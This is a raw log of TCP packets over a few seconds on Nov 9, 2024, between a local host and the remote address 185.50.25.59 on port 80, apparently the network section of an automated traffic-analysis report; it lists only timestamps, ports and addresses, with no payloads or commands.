Nov 9, 2024 22:22:45.679276943 CET	80	49767	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:45.732327938 CET	80	49767	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:45.732439041 CET	49767	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:45.821263075 CET	49769	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:45.826117992 CET	80	49769	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:45.826217890 CET	80	49769	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:45.896070004 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:45.958154917 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:45.958220005 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:45.958563089 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:45.963393927 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:46.305665970 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:46.664953947 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:46.667124987 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:46.667363882 CET	80	49769	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:46.667404890 CET	80	49769	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:46.667454958 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:46.667465925 CET	80	49769	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:46.667469025 CET	49769	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:46.667500973 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:46.667525053 CET	49769	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:46.669215918 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:46.669269085 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:46.669369936 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:46.669691086 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:46.669917107 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:46.672300100 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:46.674292088 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:46.674302101 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:46.999963999 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.002635002 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.007450104 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.159408092 CET	49769	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.160010099 CET	49770	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.164994001 CET	80	49769	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.165074110 CET	49769	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.165560961 CET	80	49770	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.165625095 CET	49770	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.165879011 CET	49770	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.170607090 CET	80	49770	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.288324118 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.288580894 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.293513060 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.293523073 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.293529987 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.293582916 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.298352957 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.298398018 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.298403025 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.298444986 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.298695087 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.298703909 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.298734903 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.298746109 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.298749924 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.298759937 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.298784018 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.298800945 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.303155899 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.303217888 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.303251028 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.303260088 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.303298950 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.303503990 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.303549051 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.303596020 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.303606987 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.303642035 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.303667068 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.303713083 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.308252096 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.308319092 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.308417082 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.308456898 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.308495998 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.308537960 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.313373089 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.313441992 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.318231106 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.318289995 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.318344116 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.318391085 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.318435907 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.318476915 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.323051929 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.323118925 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.323157072 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.323195934 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.323241949 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.323282957 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.327925920 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.327980995 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.327984095 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.328022957 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.328025103 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.328063965 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.328243971 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.328285933 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.332854986 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.332865000 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.332912922 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.332988977 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.333008051 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.333017111 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.333029032 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.333039999 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.333066940 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.333138943 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.333147049 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.333173990 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.333185911 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.337743998 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.337753057 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.337795973 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.337825060 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.337836027 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.337848902 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.337857962 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.337858915 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.337871075 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.337901115 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.337903976 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.337948084 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.338028908 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.338049889 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.338068962 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.338082075 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.342695951 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.342705011 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.342751980 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.342797041 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.342806101 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.342813969 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.342828035 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.342837095 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.342837095 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.342858076 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.342884064 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.342889071 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.342892885 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.342900991 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.342926025 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.342937946 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.347687960 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.347718954 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.347733974 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.347739935 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.347743988 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.347764969 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.347796917 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.347831964 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.347840071 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.347848892 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.347856998 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.347866058 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.347876072 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.347876072 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.347888947 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.347903013 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.347920895 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.352487087 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.352530956 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.352530956 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.352540970 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.352569103 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.352581978 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.352688074 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.352698088 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.352730989 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.352780104 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.352788925 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.352792978 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.352802038 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.352811098 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.352819920 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.352828026 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.352837086 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.352861881 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.357332945 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.357379913 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.357443094 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.357453108 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.357477903 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.357491016 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.357551098 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.357589006 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.357640028 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.357661963 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.357676029 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.357676983 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.357687950 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.357697964 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.357697964 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.357707977 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.357712984 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.357718945 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.357738972 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.357747078 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.357769966 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.357804060 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.362222910 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.362245083 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.362297058 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.362302065 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.362345934 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.362354040 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.362375021 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.362397909 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.362411022 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.362437963 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.362474918 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.362546921 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.362555981 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.362565041 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.362590075 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.362607956 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.362678051 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.362696886 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.362705946 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.362715960 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.362728119 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.362746954 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.367054939 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.367098093 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.367175102 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.367185116 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.367209911 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.367228985 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.367233992 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.367273092 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.367280960 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.367290020 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.367296934 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.367319107 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.367325068 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.367341995 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.367363930 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.367399931 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.367428064 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.367441893 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.367474079 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.367649078 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.367656946 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.367666006 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.371876955 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.372004032 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.372013092 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.372098923 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.372113943 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.372128010 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.372137070 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.372145891 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.372232914 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.372248888 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.372256041 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.524389982 CET	49770	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:47.529269934 CET	80	49770	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.529282093 CET	80	49770	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:47.529289007 CET	80	49770	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:48.081546068 CET	80	49770	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:48.144835949 CET	80	49770	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:48.144896030 CET	49770	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:48.145081043 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:48.258668900 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:48.271725893 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:48.271781921 CET	49767	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:48.271805048 CET	49770	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:48.272782087 CET	49771	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:48.276874065 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:48.276917934 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:48.277494907 CET	80	49767	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:48.277537107 CET	49767	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:48.277585030 CET	80	49770	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:48.277609110 CET	80	49771	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:48.277630091 CET	49770	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:48.277663946 CET	49771	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:48.277735949 CET	49771	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:48.282490969 CET	80	49771	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:48.633862972 CET	49771	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:48.639107943 CET	80	49771	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:48.639120102 CET	80	49771	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:48.639123917 CET	80	49771	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:49.207508087 CET	80	49771	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:49.271372080 CET	80	49771	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:49.275007010 CET	49771	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:49.409198999 CET	49772	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:49.414885044 CET	80	49772	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:49.415047884 CET	49772	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:49.415144920 CET	49772	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:49.420079947 CET	80	49772	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:49.774547100 CET	49772	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:49.779565096 CET	80	49772	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:49.779576063 CET	80	49772	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:49.779582977 CET	80	49772	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:50.339529037 CET	80	49772	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:50.400566101 CET	80	49772	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:50.400760889 CET	49772	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:50.524343967 CET	49772	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:50.525108099 CET	49773	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:50.529479980 CET	80	49772	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:50.529527903 CET	49772	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:50.529870033 CET	80	49773	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:50.529932022 CET	49773	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:50.530021906 CET	49773	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:50.534744024 CET	80	49773	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:50.883933067 CET	49773	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:50.888828993 CET	80	49773	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:50.888839006 CET	80	49773	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:50.888847113 CET	80	49773	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:51.441839933 CET	80	49773	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:51.490286112 CET	80	49773	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:51.490339994 CET	49773	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:51.615511894 CET	49773	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:51.616123915 CET	49774	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:51.620656013 CET	80	49773	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:51.620726109 CET	49773	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:51.620872021 CET	80	49774	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:51.620944977 CET	49774	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:51.621032953 CET	49774	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:51.625888109 CET	80	49774	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:51.681458950 CET	49775	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:51.686230898 CET	80	49775	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:51.686300039 CET	49775	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:51.686372042 CET	49775	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:51.691802025 CET	80	49775	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:51.977505922 CET	49774	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:51.983084917 CET	80	49774	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:51.983094931 CET	80	49774	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:51.983102083 CET	80	49774	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:52.039973021 CET	49775	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:52.044867039 CET	80	49775	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:52.044979095 CET	80	49775	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:52.541874886 CET	80	49774	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:52.586807013 CET	49774	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:52.604492903 CET	80	49774	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:52.608230114 CET	80	49775	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:52.649321079 CET	49774	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:52.659358978 CET	80	49775	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:52.663053036 CET	49775	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:52.969542980 CET	49774	80	192.168.2.4	185.50.25.59
